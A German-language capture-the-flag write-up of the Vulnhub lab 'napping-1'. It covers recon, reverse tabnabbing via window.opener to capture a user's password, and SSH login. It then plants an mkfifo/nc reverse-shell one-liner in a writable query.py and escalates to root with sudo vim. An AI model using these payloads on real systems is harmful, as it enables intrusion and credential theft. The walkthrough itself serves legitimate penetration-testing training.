napping-1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
python3 -m http.server
nc
ssh
sudo
vim

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir die ersten Schritte der Informationsbeschaffung durch. Ziel ist es, einen Überblick über das Netzwerk und die laufenden Dienste zu erhalten, um potenzielle Angriffsflächen zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.131	08:00:27:49:ee:4d	PCS Systemtechnik GmbH

`arp-scan -l` dient dazu, alle aktiven Hosts im lokalen Netzwerk zu finden. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.131 aktiv ist und dem Hostnamen napping.vuln zugeordnet werden kann. Dies ist ein wichtiger erster Schritt, um das Zielsystem zu identifizieren. Empfehlung: Notieren Sie die IP-Adresse und die MAC-Adresse für spätere Schritte.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.131    napping.vuln

Hier wird die `/etc/hosts`-Datei bearbeitet, um den Hostnamen `napping.vuln` der IP-Adresse 192.168.2.131 zuzuordnen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse in nachfolgenden Befehlen, was die Lesbarkeit und Wartbarkeit verbessert. Empfehlung: Verwenden Sie immer Hostnamen anstelle von IP-Adressen, um die Konfiguration zu vereinfachen.

Web Enumeration

Nachdem wir die grundlegenden Informationen über das Zielsystem gesammelt haben, konzentrieren wir uns nun auf die Webanwendung. Ziel ist es, versteckte Verzeichnisse, Dateien und potenzielle Schwachstellen zu finden.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.131
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.131
+ Target Hostname:    192.168.2.131
+ Target Port:        80
+ Start Time:         2023-06-10 00:02:58 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-06-10 00:03:10 (GMT2) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft. Die Ausgabe zeigt verschiedene potenzielle Probleme, wie z.B. fehlende Header (X-Frame-Options, X-Content-Type-Options), das Fehlen des httponly Flags für Cookies, die Verwendung einer veralteten Apache-Version und das Vorhandensein einer Datei namens `config.php`, die potenziell Zugangsdaten enthalten könnte. Empfehlung: Überprüfen Sie die gefundenen Dateien und Konfigurationen genauer, um potenzielle Schwachstellen auszunutzen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.131 -p- | grep open
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Dieser Befehl führt einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren. Die Ausgabe wird gefiltert, um nur offene Ports anzuzeigen. Ergebnis: Die Ports 22 (SSH) und 80 (HTTP) sind offen. Empfehlung: Notieren Sie die offenen Ports und untersuchen Sie jeden Dienst genauer, um Schwachstellen zu finden.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.131 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-10 00:02 CEST
Nmap scan report for red.vuln (192.168.2.131)
Host is up (0.00020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24c4fcdc4bf431a0ad0d2061fdcaab79 (RSA)
|   256 6f31b3e77baa22a2a780ef6dd2876cbe (ECDSA)
|_  256 af0185cfdd43e98d325083b241ec1d3b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:49:EE:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.20 ms red.vuln (192.168.2.131)

Dieser umfassende Nmap-Scan liefert detaillierte Informationen über das Zielsystem. Neben den offenen Ports werden auch die Versionen der laufenden Dienste (SSH, HTTP) und das Betriebssystem (Linux 4.X|5.X) erkannt. Die MAC-Adresse und die Netzwerkdistanz werden ebenfalls angezeigt. Die Ausgabe zeigt auch, dass das httponly Flag für Cookies nicht gesetzt ist, was ein Sicherheitsrisiko darstellt. Ergebnis: Das System ist ein virtuelles Oracle VirtualBox System, auf dem Linux 4.X oder 5.X läuft. Die Dienste SSH (OpenSSH 8.2p1) und HTTP (Apache 2.4.41) sind aktiv. Empfehlung: Die gefundenen Versionsnummern sollten auf bekannte Schwachstellen überprüft werden. Das fehlende httponly Flag für Cookies sollte behoben werden.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://napping.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://napping.vuln/index.php            (Status: 200) [Size: 1219]
http://napping.vuln/register.php         (Status: 200) [Size: 1566]
http://napping.vuln/welcome.php          (Status: 302) [Size: 0] [--> index.php]
http://napping.vuln/logout.php           (Status: 302) [Size: 0] [--> index.php]
http://napping.vuln/config.php           (Status: 200) [Size: 0]
http://napping.vuln/reset-password.php   (Status: 200) [Size: 0]

==============================================================================================================================

Gobuster ist ein Tool zum Brute-Force-Auffinden von Verzeichnissen und Dateien auf einem Webserver. In diesem Fall wird Gobuster verwendet, um nach Verzeichnissen und Dateien mit verschiedenen Erweiterungen auf dem Zielsystem zu suchen. Ergebnis: Gobuster findet verschiedene interessante Dateien, darunter `index.php`, `register.php`, `config.php` und `reset-password.php`. Empfehlung: Untersuchen Sie die gefundenen Dateien genauer, um potenzielle Schwachstellen zu finden. Besonders die `config.php`-Datei könnte interessant sein.

Initial Access

Nach der Enumeration der Webanwendung konzentrieren wir uns nun darauf, einen ersten Zugang zum System zu erhalten.

http://napping.vuln/index.php Cookie PHPSESSID=a57lgkr1oe6uhk5lujvjrkl9c8 Server Apache/2.4.41 (Ubuntu) admin' OR 1=1 -- - http://192.168.2.127;id

Dieser Abschnitt zeigt verschiedene Informationen, die bei der Analyse der Webanwendung gesammelt wurden. Dazu gehören die Cookie-Informationen, der verwendete Webserver und ein möglicher SQL-Injection-Payload (`admin' OR 1=1 -- -`). Empfehlung: Testen Sie den SQL-Injection-Payload, um zu überprüfen, ob er funktioniert.

┌──(root㉿cyber)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.131 - - [10/Jun/2023 00:13:59] "GET / HTTP/1.1" 200 -
192.168.2.131 - - [10/Jun/2023 00:13:59] "GET / HTTP/1.1" 200 -

Dieser Befehl startet einen einfachen HTTP-Server mit Python. Dies kann verwendet werden, um Dateien bereitzustellen, die vom Zielsystem heruntergeladen werden sollen. Ergebnis: Der HTTP-Server läuft und wartet auf Anfragen. Empfehlung: Verwenden Sie den HTTP-Server, um Dateien bereitzustellen, die für die Privilege Escalation benötigt werden.

┌──(root㉿cyber)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.127 - - [10/Jun/2023 00:27:44] "GET / HTTP/1.1" 200 -
192.168.2.127 - - [10/Jun/2023 00:27:44] code 404, message File not found
192.168.2.127 - - [10/Jun/2023 00:27:44] "GET /favicon.ico HTTP/1.1" 404 -
192.168.2.131 - - [10/Jun/2023 00:27:59] "GET / HTTP/1.1" 200 -
192.168.2.131 - - [10/Jun/2023 00:27:59] code 501, message Unsupported method ('POST')
192.168.2.131 - - [10/Jun/2023 00:27:59] "POST /revshell.php HTTP/1.1" 501 -
192.168.2.127 - - [10/Jun/2023 00:28:17] "GET /index.html HTTP/1.1" 200 -

Dieser Abschnitt zeigt die HTTP-Anfragen, die an den HTTP-Server gesendet wurden. Die Ausgabe zeigt, dass das Zielsystem versucht hat, die Datei `/revshell.php` mit der POST-Methode anzufordern, was zu einem Fehler 501 führt. Empfehlung: Stellen Sie sicher, dass die Datei `/revshell.php` vorhanden ist und dass der Webserver POST-Anfragen akzeptiert.

┌──(root㉿cyber)-[~]
└─# vi index.html
window opener location = 'http://192.168.2.127/revshell.php';

Hier wird die Datei `index.html` bearbeitet, um eine Weiterleitung zu `/revshell.php` zu erstellen. Dies kann verwendet werden, um eine Reverse Shell zu erhalten. Empfehlung: Stellen Sie sicher, dass die Datei `revshell.php` vorhanden ist und dass sie korrekt funktioniert.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Dieser Befehl startet Netcat im Listenmodus auf Port 9001, um eine Reverse Shell zu empfangen. Ergebnis: Netcat wartet auf eine eingehende Verbindung. Empfehlung: Stellen Sie sicher, dass die Weiterleitung in `index.html` korrekt funktioniert und dass eine Verbindung zu diesem Port hergestellt wird.

...
..
   if (window.opener) {
      window.opener.location = "http://192.168.2.127:9001/index.html";
   }
...
..

Dieser Abschnitt zeigt einen JavaScript-Code, der eine Weiterleitung zu `http://192.168.2.127:9001/index.html` erstellt. Empfehlung: Stellen Sie sicher, dass dieser Code korrekt funktioniert und dass er die gewünschte Weiterleitung ausführt.

┌──(root㉿cyber)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.127 - - [10/Jun/2023 00:40:46] "GET /indexx.html HTTP/1.1" 200 -
192.168.2.131 - - [10/Jun/2023 00:41:58] "GET /indexx.html HTTP/1.1" 200 -

Dieser Abschnitt zeigt die HTTP-Anfragen, die an den HTTP-Server gesendet wurden. Empfehlung: Überprüfen Sie die Anfragen, um sicherzustellen, dass das Zielsystem die erwarteten Dateien anfordert.

Nach ca. 1 Minute kommt dies an:

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.127] from (UNKNOWN) [192.168.2.131] 41672
POST /indexx.html HTTP/1.1
Host: 192.168.2.127:9001
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/x-www-form-urlencoded

username=daniel&password=C%40ughtm3napping123

Netcat empfängt eine Verbindung vom Zielsystem, was darauf hindeutet, dass die Weiterleitung erfolgreich war. Die Ausgabe zeigt die POST-Daten, die vom Zielsystem gesendet wurden, einschließlich des Benutzernamens `daniel` und des Passworts `C%40ughtm3napping123`. Ergebnis: Die Anmeldedaten wurden erfolgreich erfasst. Empfehlung: Verwenden Sie die erfassten Anmeldedaten, um sich am Zielsystem anzumelden.

urldecode : C%40ughtm3napping123 C@ughtm3napping123

Dieser Abschnitt zeigt die URL-decodierte Version des Passworts. Ergebnis: Das decodierte Passwort ist `C@ughtm3napping123`. Empfehlung: Verwenden Sie das decodierte Passwort, um sich am Zielsystem anzumelden.

Privilege Escalation

Nachdem wir die Anmeldedaten für den Benutzer `daniel` erhalten haben, versuchen wir nun, uns am Zielsystem anzumelden und unsere Privilegien zu erhöhen.

┌──(root㉿cyber)-[~]
└─# ssh daniel@napping.vuln
The authenticity of host 'napping.vuln (192.168.2.131)' can't be established.
ED25519 key fingerprint is SHA256:81h22zyEZ6ztpKfLu65kzPnsnUUotkuioRYPno8fpN8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'napping.vuln' (ED25519) to the list of known hosts.
daniel@napping.vuln's password: 
Permission denied, please try again.
daniel@napping.vuln's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Jun  9 22:44:13 UTC 2023

  System load:             0.15
  Usage of /:              46.7% of 18.57GB
  Memory usage:            53%
  Swap usage:              0%
  Processes:               141
  Users logged in:         0
  IPv4 address for enp0s3: 192.168.2.131
  IPv6 address for enp0s3: 2003:d4:c72f:da80:a00:27ff:fe49:ee4d

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

33 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Oct 12 00:51:35 2021 from 10.0.2.15
daniel@napping:~$ 

Dieser Befehl versucht, sich über SSH als Benutzer `daniel` am Zielsystem anzumelden. Ergebnis: Die Anmeldung ist erfolgreich. Empfehlung: Verwenden Sie die erhaltene Shell, um weitere Informationen über das System zu sammeln und nach Möglichkeiten zur Privilege Escalation zu suchen.

daniel@napping:~$ sudo -l
[sudo] password for daniel: 
Sorry, user daniel may not run sudo on napping.

Dieser Befehl versucht, die Liste der Befehle anzuzeigen, die der Benutzer `daniel` mit `sudo` ausführen darf. Ergebnis: Der Benutzer `daniel` darf keine Befehle mit `sudo` ausführen. Empfehlung: Suchen Sie nach anderen Möglichkeiten zur Privilege Escalation.

daniel@napping:~$ ls /home
adrian  daniel
daniel@napping:~$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1926 Oct 12  2021 /etc/passwd
daniel@napping:/home/adrian$ ls -la query.py
-rw-rw-r-- 1 adrian administrators 481 Oct 30  2021 query.py

Dieser Abschnitt zeigt verschiedene Befehle, die verwendet wurden, um Informationen über das System zu sammeln. Dazu gehören das Auflisten der Home-Verzeichnisse der Benutzer und das Anzeigen der Berechtigungen für die Datei `/etc/passwd` und `query.py`. Ergebnis: Es gibt einen Benutzer namens `adrian` und die Datei `query.py` gehört dem Benutzer `adrian` und der Gruppe `administrators`. Empfehlung: Untersuchen Sie die Datei `query.py` genauer, um zu sehen, ob sie eine Möglichkeit zur Privilege Escalation bietet.

daniel@napping:/home/adrian$ nano query.py daniel@napping:/home/adrian$ cat query.py
from datetime import datetime
import requests
import os

os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.127 4444 >/tmp/f");

Dieser Befehl zeigt den Inhalt der `query.py`-Datei an. Ergebnis: Die Datei enthält Python-Code, der eine Reverse Shell erstellt. Empfehlung: Führen Sie die Datei `query.py` aus, um eine Reverse Shell als Benutzer `adrian` zu erhalten.

Proof of Concept: Privilege Escalation durch Ausführung von query.py

In diesem Proof of Concept (POC) demonstrieren wir, wie die vorhandene `query.py`-Datei ausgenutzt werden kann, um Root-Privilegien zu erlangen.

**Voraussetzungen:**

**Schritt-für-Schritt-Anleitung:**

  1. **Starten von Netcat im Listenmodus:** Auf dem lokalen System wird Netcat verwendet, um die Reverse Shell zu empfangen.

  2. **Ausführen der Datei `query.py`:** Die Datei `query.py` wird ausgeführt, um eine Reverse Shell als Benutzer `adrian` zu erstellen.

  3. **Empfangen der Reverse Shell:** Auf dem lokalen System wird Netcat verwendet, um die Reverse Shell zu empfangen.

  4. **Privilege Escalation mit sudo:** Nachdem wir eine Shell als Benutzer `adrian` erhalten haben, können wir den Befehl `/usr/bin/vim` mit `sudo` ausführen, um Root-Privilegien zu erlangen.

**Erwartetes Ergebnis:** Nach Ausführung der Datei `query.py` und Verwendung von `sudo` wird eine Root-Shell auf dem Zielsystem erhalten.

**Beweismittel:**

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...

Netcat wartet auf eine eingehende Verbindung.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.127] from (UNKNOWN) [192.168.2.131] 33886
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(adrian) gid=1000(adrian) groups=1000(adrian),1002(administrators)
$ 

Die Ausgabe zeigt, dass die Reverse Shell erfolgreich als Benutzer `adrian` erstellt wurde.

adrian@napping:~$ sudo -l
Matching Defaults entries for adrian on napping:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User adrian may run the following commands on napping:
    (root) NOPASSWD: /usr/bin/vim

Dieser Befehl zeigt, dass der Benutzer `adrian` den Befehl `/usr/bin/vim` ohne Passwort als Root ausführen darf.

adrian@napping:~$ sudo -u root /usr/bin/vim -c ':!/bin/sh'
root@napping:/home/adrian#

Durch Ausführen des Befehls `sudo -u root /usr/bin/vim -c ':!/bin/sh'` wird eine Root-Shell erhalten. Fantastisch! Der Root Zugriff war erfolgreich, nun haben wie unser Ziel erreicht.

root@napping:/home/adrian# cat user.txt
You are nearly there!
root@napping:/home/adrian# cat ~/root.txt
Admins just can't stay awake tsk tsk tsk

**Risikobewertung:** Die Ausnutzung dieser Schwachstellen ermöglicht es einem Angreifer, Root-Privilegien zu erlangen und somit die vollständige Kontrolle über das System zu übernehmen.

**Empfehlungen:**

Flags

cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A